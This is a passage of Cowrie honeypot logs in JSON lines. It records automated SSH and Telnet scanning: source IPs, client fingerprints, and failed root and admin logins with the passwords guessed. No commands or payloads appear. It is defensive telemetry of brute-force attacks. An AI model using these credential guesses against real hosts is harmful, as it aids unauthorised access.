{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:bf:3c:ec:e4:25:95:59:0a:12:2d:27:f0:2d:e2:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpoO67EDjBwehmAvkZDLJOPG9i4q1aB5w/2lCky5I1ezHKifHR92fKBl1jStBAuKQsH54/7kRtSJV8s9oehWFX1IQ21BLTckABWZSfQjSjJPXV1nN54EmcQhMpGf3h1wSACD/pQd5jDB6U4b+E/KkTlcOR5yfHKnUdiNN7gPhbZTBPSvrsfEO5wekJYSIkPnkuRCYt43OGb9aSHdJykHZG0kmGvQPFZpNaJJowP5FvkVIJ3JwmyyBdzyCxhi2ZnfjEV23YfkKEP9lKifnDLeGwlRONQi1y5IdC0vYee2hdAk8SZcQXn7sOCshhHqq6Ay+lbMNJJCJQ3r/OvBMQzM71ny8Sl4s7yKbxNjvwxMluWAOvqEdt+67hnMVRt0i0fUrLdzdJ1HYI+qCegja2wk0xbZsAtJevr7fhPJNFd3jhD0OHBIBNlJckdgJrIv80EelD+6AkEagBe0vZm7nAKz9ral6Nw4uCpUOgDenmxe0j++IMKiW/IbXh5Vo000JeKuixzqiMJkgS3O+jxMEdB+wrsC14D9A4bI/EJCM/cdEYMI593NYRrwhhLmsQDd3xXq3et6kwiwvxlNoPpLqjryAfkKr2mDpe2X/z+expben/PQq/KYrp3OMJvfLUI8h2pKqqRmV9SnHIPgAqck+/jendzfo3QMO3+NzGj/Q3JxmF4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.921132Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:51.180914Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50902,"dst_ip":"10.17.0.5","dst_port":23,"session":"df1ffd937d25","protocol":"telnet","message":"New connection: 152.42.224.71:50902 (10.17.0.5:23) [session: df1ffd937d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:51.968686Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50904,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf128b64f444","protocol":"telnet","message":"New connection: 152.42.224.71:50904 (10.17.0.5:23) [session: bf128b64f444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:54.490542Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50910,"dst_ip":"10.17.0.5","dst_port":23,"session":"213ebf819d3e","protocol":"telnet","message":"New connection: 152.42.224.71:50910 (10.17.0.5:23) [session: 213ebf819d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:54.802612Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57618,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9dc7af80228","protocol":"telnet","message":"New connection: 152.42.224.71:57618 (10.17.0.5:23) [session: e9dc7af80228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:55.846396Z"}
{"eventid":"cowrie.session.closed","duration":44.76042652130127,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:01.935320Z","src_ip":"152.42.224.71","session":"cbe8849ae621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0130066871643,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:13.397818Z","src_ip":"152.42.224.71","session":"f133a626bd08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.465046167373657,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:22.267533Z","src_ip":"152.42.224.71","session":"213ebf819d3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50714,"dst_ip":"10.17.0.5","dst_port":22,"session":"77b3edfa859f","protocol":"ssh","message":"New connection: 167.172.81.52:50714 (10.17.0.5:22) [session: 77b3edfa859f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:23.763672Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:23.767947Z","src_ip":"167.172.81.52","session":"77b3edfa859f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:23.771556Z","src_ip":"167.172.81.52","session":"77b3edfa859f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59826,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95b2747b6e8","protocol":"telnet","message":"New connection: 152.42.224.71:59826 (10.17.0.5:23) [session: c95b2747b6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:27.075512Z"}
{"eventid":"cowrie.session.closed","duration":33.60590648651123,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:29.452039Z","src_ip":"152.42.224.71","session":"e9dc7af80228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":51326,"dst_ip":"159.203.135.109","dst_port":22,"session":"1682ede0fc54","protocol":"ssh","message":"New connection: 59.16.212.232:51326 (159.203.135.109:22) [session: 1682ede0fc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:29.696362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:29.705873Z","src_ip":"59.16.212.232","session":"1682ede0fc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:29.902286Z","src_ip":"59.16.212.232","session":"1682ede0fc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:30.721305Z","src_ip":"59.16.212.232","session":"1682ede0fc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:31.923843Z","src_ip":"59.16.212.232","session":"1682ede0fc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":42988,"dst_ip":"10.17.0.5","dst_port":22,"session":"fef312cb2a0b","protocol":"ssh","message":"New connection: 197.248.104.31:42988 (10.17.0.5:22) [session: fef312cb2a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:33.951229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:33.956702Z","src_ip":"197.248.104.31","session":"fef312cb2a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:34.169274Z","src_ip":"197.248.104.31","session":"fef312cb2a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59834,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca2a2dd981f","protocol":"telnet","message":"New connection: 152.42.224.71:59834 (10.17.0.5:23) [session: 1ca2a2dd981f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:34.293460Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"luisluis","message":"login attempt [root/luisluis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:35.042560Z","src_ip":"197.248.104.31","session":"fef312cb2a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:36.255562Z","src_ip":"197.248.104.31","session":"fef312cb2a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":43802,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff7b065beab","protocol":"ssh","message":"New connection: 176.32.39.21:43802 (10.17.0.5:22) [session: dff7b065beab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:37.217231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:37.222682Z","src_ip":"176.32.39.21","session":"dff7b065beab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:37.341723Z","src_ip":"176.32.39.21","session":"dff7b065beab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thebest","message":"login attempt [root/thebest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:37.699574Z","src_ip":"176.32.39.21","session":"dff7b065beab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39904,"dst_ip":"10.17.0.5","dst_port":22,"session":"895cacbf54a4","protocol":"ssh","message":"New connection: 103.195.236.96:39904 (10.17.0.5:22) [session: 895cacbf54a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:38.112849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:38.117574Z","src_ip":"103.195.236.96","session":"895cacbf54a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:38.355219Z","src_ip":"103.195.236.96","session":"895cacbf54a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:38.820873Z","src_ip":"176.32.39.21","session":"dff7b065beab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01234567","message":"login attempt [root/01234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:39.075191Z","src_ip":"103.195.236.96","session":"895cacbf54a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:40.318151Z","src_ip":"103.195.236.96","session":"895cacbf54a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":50560,"dst_ip":"10.17.0.5","dst_port":22,"session":"07384b8a6dc5","protocol":"ssh","message":"New connection: 49.51.200.156:50560 (10.17.0.5:22) [session: 07384b8a6dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:41.464712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:41.469318Z","src_ip":"49.51.200.156","session":"07384b8a6dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:41.537931Z","src_ip":"49.51.200.156","session":"07384b8a6dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:41.845428Z","src_ip":"49.51.200.156","session":"07384b8a6dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:42.917507Z","src_ip":"49.51.200.156","session":"07384b8a6dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":40206,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50b3788b5e4","protocol":"ssh","message":"New connection: 185.242.234.173:40206 (10.17.0.5:22) [session: e50b3788b5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:44.849518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:44.855418Z","src_ip":"185.242.234.173","session":"e50b3788b5e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:45.055344Z","src_ip":"185.242.234.173","session":"e50b3788b5e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1","message":"login attempt [admin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:45.879960Z","src_ip":"185.242.234.173","session":"e50b3788b5e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:47.082047Z","src_ip":"185.242.234.173","session":"e50b3788b5e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.581748247146606,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:47.550306Z","src_ip":"152.42.224.71","session":"df1ffd937d25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0065975189209,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:23:53.543185Z","src_ip":"152.42.224.71","session":"d4603ea363c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43974,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a5a53e0ce4","protocol":"telnet","message":"New connection: 152.42.224.71:43974 (10.17.0.5:23) [session: 10a5a53e0ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:02.555118Z"}
{"eventid":"cowrie.session.closed","duration":42.95937466621399,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:10.034777Z","src_ip":"152.42.224.71","session":"c95b2747b6e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.53710675239563,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:11.642604Z","src_ip":"152.42.224.71","session":"ca86245e5fa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33474,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd46e770477","protocol":"ssh","message":"New connection: 193.32.162.145:33474 (10.17.0.5:22) [session: afd46e770477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:21.075426Z"}
